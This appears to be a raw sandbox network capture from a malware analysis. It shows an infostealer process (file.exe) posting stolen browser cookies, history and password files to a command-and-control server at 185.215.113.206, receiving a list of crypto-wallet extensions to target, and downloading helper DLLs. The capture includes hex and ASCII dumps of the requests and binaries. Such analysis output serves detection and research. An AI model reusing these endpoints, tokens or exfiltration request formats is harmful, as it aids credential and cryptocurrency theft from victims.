------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"fplugins------IIECFHDBAAECAAKFHDHI--
Nov 10, 2024 19:44:01.579930067 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 10, 2024 19:44:01.596821070 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 6859 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:44:01.596873999 CET	6859	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 10, 2024 19:44:01.809417963 CET	1236	OUT	Data Raw: 65 47 55 4b 43 58 5a 52 5a 6e 4a 68 62 55 68 76 61 6d 39 6b 61 56 52 50 63 55 56 42 56 58 42 4c 62 43 35 6c 65 47 55 4b 43 58 5a 52 5a 6e 4a 68 62 55 68 76 61 6d 39 6b 61 56 52 50 63 55 56 42 56 58 42 4c 62 43 35 6c 65 47 55 4b 43 58 5a 52 5a 6e Data Ascii: eGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUVBVXBLbC5leGUKCXZRZnJhbUhvam9kaVRPcUV
Nov 10, 2024 19:44:02.623236895 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:02.868254900 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:03.150016069 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	185.215.113.206	80	7300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:44:12.045916080 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:44:12.045937061 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 10, 2024 19:44:13.449822903 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:13.657845974 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:44:13.657875061 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 10, 2024 19:44:14.439234972 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:14.495176077 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file"------AAEBAFBGIDHCBFHIECFC--
Nov 10, 2024 19:44:15.275657892 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:15.715567112 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file"------HCAEHDHDAKJEBGCBKKJE--
Nov 10, 2024 19:44:16.488403082 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:17.254157066 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:17.531447887 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 10, 2024 19:44:17.531487942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 10, 2024 19:44:17.531497955 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 10, 2024 19:44:17.531518936 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 10, 2024 19:44:17.531531096 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 10, 2024 19:44:17.531553030 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 10, 2024 19:44:17.531577110 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 10, 2024 19:44:17.531588078 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 10, 2024 19:44:17.531596899 CET	848	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 10, 2024 19:44:18.889998913 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:19.168019056 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 10, 2024 19:44:20.022387981 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:20.299865007 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 10, 2024 19:44:20.845235109 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:21.122885942 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 10, 2024 19:44:22.765815973 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 10, 2024 19:44:23.043260098 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 10, 2024 19:44:23.284682035 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
